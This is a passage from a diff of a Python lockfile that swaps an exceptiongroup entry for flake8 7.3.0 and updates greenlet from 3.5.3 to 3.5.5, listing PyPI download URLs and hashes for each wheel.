] [[package]] -name = "exceptiongroup" -version = "1.3.1" +name = "flake8" +version = "7.3.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - { name = "typing-extensions", marker = "python_full_version < '3.13'" }, + { name = "mccabe" }, + { name = "pycodestyle" }, + { name = "pyflakes" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/50/79/66800aadf48771f6b62f7eb014e352e5d06856655206165d775e675a02c9/exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219", size = 30371, upload-time = "2025-11-21T23:01:54.787Z" } +sdist = { url = "https://files.pythonhosted.org/packages/9b/af/fbfe3c4b5a657d79e5c47a2827a362f9e1b763336a52f926126aa6dc7123/flake8-7.3.0.tar.gz", hash = "sha256:fe044858146b9fc69b551a4b490d69cf960fcb78ad1edcb84e7fbb1b4a8e3872", size = 48326, upload-time = "2025-06-20T19:31:35.838Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/8a/0e/97c33bf5009bdbac74fd2beace167cab3f978feb69cc36f1ef79360d6c4e/exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598", size = 16740, upload-time = "2025-11-21T23:01:53.443Z" }, + { url = "https://files.pythonhosted.org/packages/9f/56/13ab06b4f93ca7cac71078fbe37fcea175d3216f31f85c3168a6bbd0bb9a/flake8-7.3.0-py2.py3-none-any.whl", hash = "sha256:b9696257b9ce8beb888cdbe31cf885c90d31928fe202be0889a7cdafad32f01e", size = 57922, upload-time = "2025-06-20T19:31:34.425Z" }, ] [[package]] @@ -718,72 +769,65 @@ wheels = [ [[package]] name = "greenlet" -version = "3.5.3" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/e2/f1/fbbfef6af0bad0548f09bc28948ea3c275b4edb19e17fc5ca9900a6a634d/greenlet-3.5.3.tar.gz", hash = "sha256:a61efc018fd3eb317eeca31aba90ee9e7f26f22884a79b6c6ec715bf71bb62f1", size = 200270, upload-time = "2026-06-26T19:28:24.832Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/f5/a1/1f7f0c555f5858fd2906fe9f7b0a3554fddb85cb70df7a6aaec41dc292c2/greenlet-3.5.3-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:c180d22d325fb613956b443c3c6f4406eb70e6defc70d3974da2a7b59e06f48c", size = 285838, upload-time = "2026-06-26T18:21:05.167Z" }, - { url = "https://files.pythonhosted.org/packages/0a/29/be9f43ed61677a5759b38c8a9389248133c8c731bbfc0574ecdff66c99fc/greenlet-3.5.3-cp310-cp310-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:483d08c11181c83a6ce1a7a61df0f624a208ec40817a3bb2302714592eee4f04", size = 602342, upload-time = "2026-06-26T19:07:06.908Z" }, - { url = "https://files.pythonhosted.org/packages/b9/42/ba41c97ec36aa4b3ec25e5aa691d79561254805fad7f2f826dd6770587e2/greenlet-3.5.3-cp310-cp310-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1dae6e0091eae084317e411f047f0b7cb241c6db570f7c45fd6b900a274914ce", size = 615541, upload-time = "2026-06-26T19:10:04.909Z" }, - { url = "https://files.pythonhosted.org/packages/f5/c7/28747042e1df8a9cd120a1ebe15529fc4be3b486e13e8d551ff307a82412/greenlet-3.5.3-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9bcd2d72ccd70a1ec68ba6ef93e7fbb4420ef9997dabc7010d893bd4015e0bec", size = 615675, upload-time = "2026-06-26T18:32:14.444Z" }, - { url = "https://files.pythonhosted.org/packages/cc/a8/b85525a6c8fba9f009a5f7c8df1545de8fb0f0bf3e0179194ef4e500317f/greenlet-3.5.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:73f152c895e09907e0dbe24f6c2db37beb085cd63db91c3825a0fcd0064124a8", size = 1575057, upload-time = "2026-06-26T19:09:00.264Z" }, - { url = "https://files.pythonhosted.org/packages/03/79/fb76edb218fe6735ab0edeba176c7ab80df9618f7c02ce4208979f3ae7db/greenlet-3.5.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8bdb43e1a1d1873721acab2be99c5befd4d2044ddfd52e4d610801019880a702", size = 1641692, upload-time = "2026-06-26T18:31:41.454Z" }, - { url = "https://files.pythonhosted.org/packages/6b/79/86fe3ee50ed55d9b3907eecd3208b5c3fe8a79515519aae98b4753c3fa1d/greenlet-3.5.3-cp310-cp310-win_amd64.whl", hash = "sha256:0909f9355a9f24845d3299f3112e266a06afb68302041989fd26bd68894933db", size = 238742, upload-time = "2026-06-26T18:20:40.758Z" }, - { url = "https://files.pythonhosted.org/packages/51/58/5404031044f55afad7aad1aff8be3f22b1bed03e237cfeabbc7e5c8cfde0/greenlet-3.5.3-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:aca9b4ce85b152b5524ef7d88170efdff80dc0032aa8b75f9aaf7f3479ea95b4", size = 287424, upload-time = "2026-06-26T18:20:31.469Z" }, - { url = "https://files.pythonhosted.org/packages/b4/bf/1c65e9b94a54d547068fa5b5a8a06f221f3316b48908e08668d29c77cb50/greenlet-3.5.3-cp311-cp311-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f71be4920368fe1fabeeaa53d1e3548337e2b223d9565f8ad5e392a75ba23fc", size = 606523, upload-time = "2026-06-26T19:07:08.859Z" }, - { url = "https://files.pythonhosted.org/packages/b8/c7/b66baacc95775ad511287acb0137b95574a9ce5491902372b7564799d790/greenlet-3.5.3-cp311-cp311-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:4d77e67f65f98449e3fb83f795b5d0a8437aead2f874ca89c96576caf4be3af6", size = 618315, upload-time = "2026-06-26T19:10:06.055Z" }, - { url = "https://files.pythonhosted.org/packages/78/2b/28ed29463522fdbe4c15b1f63922041626a7478316b34ab4adda3f0a4aba/greenlet-3.5.3-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8540f1e6205bd13ca0ce685581037219ca54a1b41a0a15d228c6c9b8ad5903d7", size = 617381, upload-time = "2026-06-26T18:32:16.077Z" }, - { url = "https://files.pythonhosted.org/packages/2a/7b/ad04e9d1337fc04965dc9fc616b6a72cb65a24b800a014c011ec812f5489/greenlet-3.5.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7ef56fe650f50575bf843acde967b9c567687f3c22340941a899b7bc56e956a8", size = 1577771, upload-time = "2026-06-26T19:09:01.537Z" }, - { url = "https://files.pythonhosted.org/packages/d8/33/6c87ab7ba663f70ca21f3022aad1ffe56d3f3e0521e836c2415e13abcc3c/greenlet-3.5.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:5121af01cf911e70056c00d4b46d5e9b5d1415550038573d744138bacb59e6b8", size = 1644048, upload-time = "2026-06-26T18:31:42.996Z" }, - { url = "https://files.pythonhosted.org/packages/1c/35/f0d8ee998b422cf8693b270f098e55d8d4ec8006b061b333f54f177d28d9/greenlet-3.5.3-cp311-cp311-win_amd64.whl", hash = "sha256:0f41e4a05a3c0cb31b17023eff28dd111e1d16bf7d7d00406cd7df23f31398a7", size = 239137, upload-time = "2026-06-26T18:23:21.664Z" }, - { url = "https://files.pythonhosted.org/packages/fb/96/b9820295576ef18c9edc404f10e260ae7215ceaf3781a54b720ed2627862/greenlet-3.5.3-cp311-cp311-win_arm64.whl", hash = "sha256:ec6f1af59f6b5f3fc9678e2ea062d8377d22ac644f7844cb7a292910cf12ff44", size = 237630, upload-time = "2026-06-26T18:24:00.281Z" }, - { url = "https://files.pythonhosted.org/packages/5d/6e/4c37d51a2b7f82d2ff11bb6b5f7d766d9a011726624af255e843727627a3/greenlet-3.5.3-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:719757059f5a53fd0dde23f78cffeafcdd97b21c850ddb7ca684a3c1a1f122e2", size = 288685, upload-time = "2026-06-26T18:22:08.977Z" }, - { url = "https://files.pythonhosted.org/packages/7a/73/815dd90131c1b71ebdf53dbc7c276cafec2a1173b97559f97aba72724a87/greenlet-3.5.3-cp312-cp312-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:efa9f765dd09f9d0cdac651ffdf631ee59ec5dc6ee7a73e0c012ba9c52fbdf5b", size = 604761, upload-time = "2026-06-26T19:07:10.114Z" }, - { url = "https://files.pythonhosted.org/packages/9f/57/079cfe76bcef36b153b25607ee91c6fcb58f17f8b23c86bbbeabe0c88d72/greenlet-3.5.3-cp312-cp312-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7faba15ac005376e02a0384504e0243be3370ce010296a44a820feb342b505ab", size = 617044, upload-time = "2026-06-26T19:10:07.25Z" }, - { url = "https://files.pythonhosted.org/packages/37/87/b4d095775a3fb1bcafbb483fc206b27ebb785724c83051447737085dc54e/greenlet-3.5.3-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:87142215824be6ac05e2e8e2786eec307ccbc27c36723c3881959df654af6861", size = 614244, upload-time = "2026-06-26T18:32:17.594Z" }, - { url = "https://files.pythonhosted.org/packages/8a/70/7559b609683650fa2b95b8ab84b4ab0b26556a635d19675e12aa832d826d/greenlet-3.5.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:215275b1b49320987352e6c1b054acca0064f965a2c66992bed9a6f7d913f149", size = 1574210, upload-time = "2026-06-26T19:09:03.077Z" }, - { url = "https://files.pythonhosted.org/packages/ae/73/be55392074c60fc37655ca40fa6022457bfbf6718e9e342a7b0b41f96dd2/greenlet-3.5.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:6b1b0eed82364b0e32c4ea0f221452d33e6bb17ae094d9f72aed9851812747ea", size = 1638627, upload-time = "2026-06-26T18:31:44.748Z" }, - { url = "https://files.pythonhosted.org/packages/14/40/c57489acf8e37d74e2913d4eff63aa0dba17acccc4bdeef874dde2dbbec9/greenlet-3.5.3-cp312-cp312-win_amd64.whl", hash = "sha256:cde8adafa2365676f74a979744629589999093bc86e2484214f58e61df08902c", size = 239882, upload-time = "2026-06-26T18:23:27.518Z" }, - { url = "https://files.pythonhosted.org/packages/71/fd/6fea0e3d6600f785069481ee637e09378dd4118acdfd38ad88ae2db31c98/greenlet-3.5.3-cp312-cp312-win_arm64.whl", hash = "sha256:c4e7b79d83805475f0102008843f6eb45fd3bb0b2e88c774adab5fbaab27117d", size = 238211, upload-time = "2026-06-26T18:22:37.671Z" }, - { url = "https://files.pythonhosted.org/packages/9b/ff/a620267401db30a50cc8450ee90730e2d4a85658c055c0e760d4ed47fb13/greenlet-3.5.3-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:c8d87c2134d871df96ecdea9cec7cbaab286dadab0f56476e57aaf9e8ac11550", size = 287609, upload-time = "2026-06-26T18:21:14.724Z" }, - { url = "https://files.pythonhosted.org/packages/d6/fa/5401ac78021c826a25b6dde0c705e0a8f29b617509f9185a31dac15fbe1b/greenlet-3.5.3-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a2d185dd1621757e70c3861cceffd5317ab4e7ed7eb09c82994828468527ade5", size = 607435, upload-time = "2026-06-26T19:07:11.412Z" }, - { url = "https://files.pythonhosted.org/packages/e9/76/1dc144a2e56e65d36405078ed774224375ea520a1870a6e46e08bb4ac7bf/greenlet-3.5.3-cp313-cp313-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1c514a468149bf8fbbab874188a3535cd8a48a3e353eb53a3d424296f8dbacd3", size = 619787, upload-time = "2026-06-26T19:10:08.396Z" }, - { url = "https://files.pythonhosted.org/packages/bf/87/c298cee62df1de4ad7fec32abda73526cff347fd143a6ed4ac369246668a/greenlet-3.5.3-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:915f887cf2682b66419b879423a2e072634aa7b7dce6f3ada4957cfced3f1e9a", size = 616786, upload-time = "2026-06-26T18:32:19.128Z" }, - { url = "https://files.pythonhosted.org/packages/9e/2e/e6f009885ed0705ccf33fe0583c117cfd03cde77e31a596dd5785a30762b/greenlet-3.5.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:766cfd421c13e450feb340cd472a3ed9957d438727b7b4593ad7c76c5d2b0deb", size = 1574316, upload-time = "2026-06-26T19:09:04.273Z" }, - { url = "https://files.pythonhosted.org/packages/ef/fe/43fd110b01e40da0adb7c90ac7ea744bef2d43dca00de5095fd2351c2a68/greenlet-3.5.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:2ecda9ec22edf38fa389369eaed8c3d37c05f3c54e69f69438dbb2cc1de1458b", size = 1638614, upload-time = "2026-06-26T18:31:46.297Z" }, - { url = "https://files.pythonhosted.org/packages/0f/7c/062447147a61f8b4337b156fe70d32a165fcf2f89d7ca6255e572806705c/greenlet-3.5.3-cp313-cp313-win_amd64.whl", hash = "sha256:c82304750f057167ff60d188df1d0cc1764ce9567eadf03e6a7443bcedd0b30b", size = 239850, upload-time = "2026-06-26T18:21:54.613Z" }, - { url = "https://files.pythonhosted.org/packages/c7/7e/220a7f5824a64a60443fc03b39dfac4ea63a7fb6d481efa27eafa928e7f4/greenlet-3.5.3-cp313-cp313-win_arm64.whl", hash = "sha256:dc133a1569ee667b2a6ef56ce551084aeefd87a5acbc4736d336d1e2edc6cfc4", size = 238141, upload-time = "2026-06-26T18:22:48.507Z" }, - { url = "https://files.pythonhosted.org/packages/c3/93/43e116ee114b28737ba7e12952a0d4e2f55944d0f84e42bc91ba7192a3c9/greenlet-3.5.3-cp314-cp314-macosx_11_0_universal2.whl", hash = "sha256:fd2e02fa07485778536a036222d616ab957b1d533f36b3ed98ce725d9c9d3117", size = 288202, upload-time = "2026-06-26T18:23:49.604Z" }, - { url = "https://files.pythonhosted.org/packages/82/2f/146d218299046a43d1f029fd544b3d110d0f175a09c715c7e8da4a4a345d/greenlet-3.5.3-cp314-cp314-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:df0a0628d1597eb0897b62f55d1343f772405fd25f3b2a796c76874b0c2e22e8", size = 654096, upload-time = "2026-06-26T19:07:12.71Z" }, - { url = "https://files.pythonhosted.org/packages/a0/cc/04738cafb3f45fa991ea44f9de94c47dcec964f5a972300988a6751f49d9/greenlet-3.5.3-cp314-cp314-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ebd933a6adabc298bab47731a130fe6bfb888bd934eee37810f151159544540d", size = 666304, upload-time = "2026-06-26T19:10:09.503Z" }, - { url = "https://files.pythonhosted.org/packages/ce/aa/4e0dad5e605c270c784ab911c43da6adb136ccd4d81180f763ca429a723d/greenlet-3.5.3-cp314-cp314-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4b9d501b40e80b70e32323c799dd9b420a5577a9601469d362ae1ffb690f3a7c", size = 663635, upload-time = "2026-06-26T18:32:20.802Z" }, - { url = "https://files.pythonhosted.org/packages/d1/50/13efdbea246fe3d3b735e191fec08fb50809f53cd2383ebe123d0809e44b/greenlet-3.5.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a1fad1d11e7d6aab184107baa8e4ece11ccba3ec9599cd7efa5ff4d70d43256a", size = 1621252, upload-time = "2026-06-26T19:09:05.647Z" }, - { url = "https://files.pythonhosted.org/packages/f7/22/c0a336ae4a1410fd5f5121098e5bfbf1865f64c5ef80b4b5412886c4a332/greenlet-3.5.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:fad5aec764399f1b5cc347ad250a59660f20c8f8888ea6bae1f93b769cce1154", size = 1684824, upload-time = "2026-06-26T18:31:47.738Z" }, - { url = "https://files.pythonhosted.org/packages/7a/94/91aec0030bea75c4b3244251d0de60a1f3432d1ecb53ab6c437fb5c3ba61/greenlet-3.5.3-cp314-cp314-win_amd64.whl", hash = "sha256:7669aa24cf2a1041d6f7899575b494a3ab4cf68bfcc8609b1dc0be7272db835e", size = 240754, upload-time = "2026-06-26T18:22:15.669Z" }, - { url = "https://files.pythonhosted.org/packages/e5/06/68d0983e79e02138f64b4d303c500c27ddb48e5e77f3debb80888a921eae/greenlet-3.5.3-cp314-cp314-win_arm64.whl", hash = "sha256:5b4807c4082c9d1b6d9eed56fcd041863e37f2228106eef24c30ca096e238605", size = 239549, upload-time = "2026-06-26T18:22:42.996Z" }, - { url = "https://files.pythonhosted.org/packages/91/95/3e161213d7f1d378d15aa9e792093e9bfe01844680d04b7fd6e0107c9098/greenlet-3.5.3-cp314-cp314t-macosx_11_0_universal2.whl", hash = "sha256:271a8ea7c1024e8a0d7dd2be66dd66dda8a07193f41a17b9e924f7600f5b62be", size = 296389, upload-time = "2026-06-26T18:22:20.657Z" }, - { url = "https://files.pythonhosted.org/packages/00/92/715c44721abe2b4d1ae9abde4179411868a5bff312479f54e105d372f131/greenlet-3.5.3-cp314-cp314t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:19131729ae0ddc3c2e1ef85e650169b5e37ee32e400f215f78b94d7b0d567310", size = 653382, upload-time = "2026-06-26T19:07:14.209Z" }, - { url = "https://files.pythonhosted.org/packages/a0/83/37a10372a1090a6624cca8e74c12df1a36c2dc36429ed0255b7fb1aeee23/greenlet-3.5.3-cp314-cp314t-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1540dd8e5fc2a5aec40fbb98ef8e149fa47c89a4b4a1cf2575a14d3d1869d7a8", size = 659401, upload-time = "2026-06-26T19:10:10.876Z" }, - { url = "https://files.pythonhosted.org/packages/db/e2/d1509cad4207da559cc42986ecdd8fc67ad0d1bba2bf03023c467fd5e0f3/greenlet-3.5.3-cp314-cp314t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e81fa194a1d20967877bdf9c7794db2bc99063e5be36aee710c08f04c5bb087f", size = 656969, upload-time = "2026-06-26T18:32:22.272Z" }, - { url = "https://files.pythonhosted.org/packages/86/7d/eaf70de20aadca3a5884aec58362861c64ce45e7b277f47ed026926a3b89/greenlet-3.5.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:55cf4d777485d43110e47133cbba6d74a8885a87ec1227ef0267f9ee80c5aa21", size = 1617822, upload-time = "2026-06-26T19:09:06.893Z" }, - { url = "https://files.pythonhosted.org/packages/8a/f9/414d38fc400ae4350d4185eaad1827676f7cf5287b9136e0ed1cbbe20a7f/greenlet-3.5.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:12a248ba75f6a9a236375f52296c498c89ff1d8badf32deb9eca7abd5853f7da", size = 1677983, upload-time = "2026-06-26T18:31:49.396Z" }, - { url = "https://files.pythonhosted.org/packages/e4/15/7edb977e08f9bff702fe42d6c902702786ff6b9694058b4e6a2a6ac90e57/greenlet-3.5.3-cp314-cp314t-win_amd64.whl", hash = "sha256:efc6bd60ea02e085862c74a3ef64b147ffc6f1a5ea7d9f26e7a939943f68c1e3", size = 243626, upload-time = "2026-06-26T18:24:41.485Z" }, - { url = "https://files.pythonhosted.org/packages/2c/8a/93928dce91e6b3598b5e779e8d1fd6576a504640c58e78627077f6a7a91a/greenlet-3.5.3-cp315-cp315-macosx_11_0_universal2.whl", hash = "sha256:ea03f2f04367845d6b58eeed276e1e56e51f0b97d8ad5a88a7d20a91dc9056cc", size = 288860, upload-time = "2026-06-26T18:22:48.07Z" }, - { url = "https://files.pythonhosted.org/packages/4f/ca/69db42d447a1378043e2c8f19c09cbbd1263371505053c496b49066d3d16/greenlet-3.5.3-cp315-cp315-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:78dbef602fda6d97d957eb7937f70c9ce9e9527330347f8f6b6f9e554a9e7a47", size = 659747, upload-time = "2026-06-26T19:07:15.565Z" }, - { url = "https://files.pythonhosted.org/packages/a8/0b/af7ac2ef8dd41e3da1a40dda6305c23b9a03e13ba975ec916357b50f8575/greenlet-3.5.3-cp315-cp315-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6f73857adb8fee13fa56c172bd11262f888c0c648f9fea113e777bb2c7904a81", size = 670419, upload-time = "2026-06-26T19:10:12.293Z" }, - { url = "https://files.pythonhosted.org/packages/51/1e/1d51640cacbfc455dbe9f9a9f594c49e4e244f63b9971a2f4764e46cc53d/greenlet-3.5.3-cp315-cp315-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:232fec92e823addaf02d9472cf7381e24a1d046a6ced1103c5caa4c21b9dfc1d", size = 668787, upload-time = "2026-06-26T18:32:24.298Z" }, - { url = "https://files.pythonhosted.org/packages/21/66/4030d5b0b5894500023f003bb054d9bb354dfbd1e186c3a296759172f5f5/greenlet-3.5.3-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:2421c3564da9429d5586d46ca31ebb26516b5498a802cf65c041a8e8a8980d34", size = 1626305, upload-time = "2026-06-26T19:09:08.281Z" }, - { url = "https://files.pythonhosted.org/packages/0e/50/5221371c7550108dfa3c378debc41d032aa9c78e89abb01d8011cfc93289/greenlet-3.5.3-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:e0f0d160f0b2e558e6c75f7930967183255dc9735e5f5b8cae58ee09c9576d8b", size = 1688631, upload-time = "2026-06-26T18:31:51.278Z" }, - { url = "https://files.pythonhosted.org/packages/68/5d/00d469daae3c65d2bf620b10eee82eb022127d483c6bc8c69fae6f3fbf17/greenlet-3.5.3-cp315-cp315-win_amd64.whl", hash = "sha256:dd99329bbc15ca78dcc583dba05d0b1b0bae01ab6c2174989f5aaee3e41ac930", size = 241027, upload-time = "2026-06-26T18:22:38.203Z" }, - { url = "https://files.pythonhosted.org/packages/e7/e8/883785b44c5780ed71e83d3e4437e710470be17a2e181e8b601e2da0dc4a/greenlet-3.5.3-cp315-cp315-win_arm64.whl", hash = "sha256:499fef2acede88c1864a57bb586b4bf533c81e1b82df7ab93451cdb47dfec227", size = 240085, upload-time = "2026-06-26T18:23:54.217Z" }, - { url = "https://files.pythonhosted.org/packages/1c/da/4f4a8450962fad137c1c8981a3f1b8919d06c829993d4d476f9c525d5173/greenlet-3.5.3-cp315-cp315t-macosx_11_0_universal2.whl", hash = "sha256:176bc16a721fa5fc294d70b87b4dfa5fbdd251b3da5d5372735ecef9bd7d6d0c", size = 297221, upload-time = "2026-06-26T18:23:27.176Z" }, - { url = "https://files.pythonhosted.org/packages/57/66/b3bfae3e220a9b63ea539a0eea681800c69ab1aada757eae8789f183e7ce/greenlet-3.5.3-cp315-cp315t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:629b614d2b786e89c50440e246f33eea78f58a962d0bdbbcc809e6d13605903f", size = 657221, upload-time = "2026-06-26T19:07:16.973Z" }, - { url = "https://files.pythonhosted.org/packages/7b/81/b6d4d73a709684fc77e7fa034d7c2fe82cffa9fc920fadcaa659c2626213/greenlet-3.5.3-cp315-cp315t-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2b2e857ae16f5f72142edf75f9f176fe7526ba19a2841df1420516f83831c9f2", size = 663226, upload-time = "2026-06-26T19:10:13.723Z" }, - { url = "https://files.pythonhosted.org/packages/f5/07/e210b02b589f16e74ff48b730690e4a34ffe984219fce4f3c1a0e7ec8545/greenlet-3.5.3-cp315-cp315t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e515757e2e36bcbf1fad09a46e1557e8b1ae1797d4b44d09da7deed88ad28608", size = 660802, upload-time = "2026-06-26T18:32:26.081Z" }, - { url = "https://files.pythonhosted.org/packages/eb/2e/5303eb3fa06bca089060f479707182a93e360683bc252acf846c3090d34e/greenlet-3.5.3-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:b363d46ed1ea431825fdb01471bb024fc08399bad1572a616e853c7684415adb", size = 1622157, upload-time = "2026-06-26T19:09:09.527Z" }, - { url = "https://files.pythonhosted.org/packages/54/70/50de47a488f14df260b50ae34fb5d56016e308b098eab02c878b5223c26a/greenlet-3.5.3-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:e44da2f5bbdaabaf7d80b73dbb430c7035771e9f244e3c8b769715c9d8fa0a16", size = 1681159, upload-time = "2026-06-26T18:31:52.986Z" }, - { url = "https://files.pythonhosted.org/packages/a7/13/1055e1dda7882073eda533e2b96c62e55bbd2db7fda6d5ece992febc7071/greenlet-3.5.3-cp315-cp315t-win_amd64.whl", hash = "sha256:8ff8bed3e3baa20a3ea261ce00526f1898ad4801d4886fd2220580ee0ad8fadf", size = 244007, upload-time = "2026-06-26T18:22:04.353Z" }, - { url = "https://files.pythonhosted.org/packages/b4/0d/ca7d15afbdc397e3401134c9e1800d51d12b829661786187a4ad08fe484f/greenlet-3.5.3-cp315-cp315t-win_arm64.whl", hash = "sha256:b7068bd09f761f3f5b4d214c2bed063186b2a86148c740b3873e3f56d79bac31", size = 242586, upload-time = "2026-06-26T18:23:37.93Z" }, +version = "3.5.5" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/0b/d8/7cc97c142388aef03f622e001c572c4f84e9252a439549d483f555771970/greenlet-3.5.5.tar.gz", hash = "sha256:adb4bae02e91a8e863e48b177e4014bdcac8a6b5e047ea1df687a61534b85e6c", size = 207585, upload-time = "2026-08-10T15:09:36.136Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4e/a3/07297917485ee2ca85bc3c8dc6ed85ad3fffcf424047fba62671dba68e97/greenlet-3.5.5-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:be63afcbbccfad3dd95a1ba12ada84dab2ef32031973d80b5b92df67fa763a61", size = 294165, upload-time = "2026-08-10T13:25:17.987Z" }, + { url = "https://files.pythonhosted.org/packages/db/51/6f732f9314cda54c5fd48a7620c7160f4f286967e8045ad94b9d66ce80b7/greenlet-3.5.5-cp311-cp311-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8a268024ce2d7d2b04694bf1594058981a9fa663d1df4b762dee499211ed7c1c", size = 613610, upload-time = "2026-08-10T14:14:33.829Z" }, + { url = "https://files.pythonhosted.org/packages/d8/c0/b27589e25d220289edcd4d582b2b17b83058d1a56d53d971b6ea1a34f10d/greenlet-3.5.5-cp311-cp311-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:35cbb8bf55ace57fbccb4fb8622c4521713acd8691e77f4696d416ea7ca527da", size = 625481, upload-time = "2026-08-10T14:27:23.647Z" }, + { url = "https://files.pythonhosted.org/packages/51/2d/f2c928218ac52f26d7a2c188c171d1b7e728b23782cb3347e7b4fce1493a/greenlet-3.5.5-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:74cc6df89ec5302337adc9cf096221cbed2510fd444b0e0f1586cf0470740864", size = 624562, upload-time = "2026-08-10T13:40:48.064Z" }, + { url = "https://files.pythonhosted.org/packages/3e/4a/92fc51d5d35912f4f06eec037ba347985defd0be47463a010a325634d9d2/greenlet-3.5.5-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6d9b454c5fc48aeaa7c4337813dbf513a6870468e426438a04d922c6d0fe63db", size = 1584909, upload-time = "2026-08-10T14:15:04.343Z" }, + { url = "https://files.pythonhosted.org/packages/ac/58/ed98b80ac5738c149a5258544843c45601ade1fd70f61740cdaead6351b3/greenlet-3.5.5-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:03551ed792cb1b4fc0277a0c60dfd8c343894a0ba06fe60dcd22f568b433da39", size = 1651184, upload-time = "2026-08-10T13:40:28.879Z" }, + { url = "https://files.pythonhosted.org/packages/d8/be/b582ceb80cefdf9d8da34078714e4b12b3d16f509dee0f65e40a5cc8fc7d/greenlet-3.5.5-cp311-cp311-win_amd64.whl", hash = "sha256:ab3df3dffb58bf70564e93a5cec7941e4d9faa5a36cc4234a10d3131afe04f53", size = 323280, upload-time = "2026-08-10T13:26:07.495Z" }, + { url = "https://files.pythonhosted.org/packages/4d/18/5313c4c58598c38b0373c013e4ff2b3e6d258aaaa338f373335ebecdaddd/greenlet-3.5.5-cp311-cp311-win_arm64.whl", hash = "sha256:2b70a766135540c472ac1393d57c2e1b4a2eb85bf526a1e41e6d096173a8cee5", size = 307785, upload-time = "2026-08-10T13:28:34.874Z" }, + { url = "https://files.pythonhosted.org/packages/2e/7e/9ecd0285e3153532ae07aeb88063c43c72b4221cf0d4d123b02f3682e3ff/greenlet-3.5.5-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:49520f0c95a48b42cf55414b8e8479beb274ea70431afc33e3f79903c71f4380", size = 295809, upload-time = "2026-08-10T13:25:34.023Z" }, + { url = "https://files.pythonhosted.org/packages/35/73/60e4bbcc89252037b18087f2ec16405d5b2d5be42dde191bbf3667e96102/greenlet-3.5.5-cp312-cp312-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:55272212cbc5f43d1d723725ab931f1939969b7e9523882ca58b55061769d053", size = 611910, upload-time = "2026-08-10T14:14:35.18Z" }, + { url = "https://files.pythonhosted.org/packages/a4/17/cd5134be659cd4a443e7a61ae670dabec165a814c51162916d637b6dd38e/greenlet-3.5.5-cp312-cp312-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:655bca754a2ef4efcb0eb48a94d3f4593536d0f3d48f8ed44343c01d16a92f95", size = 624198, 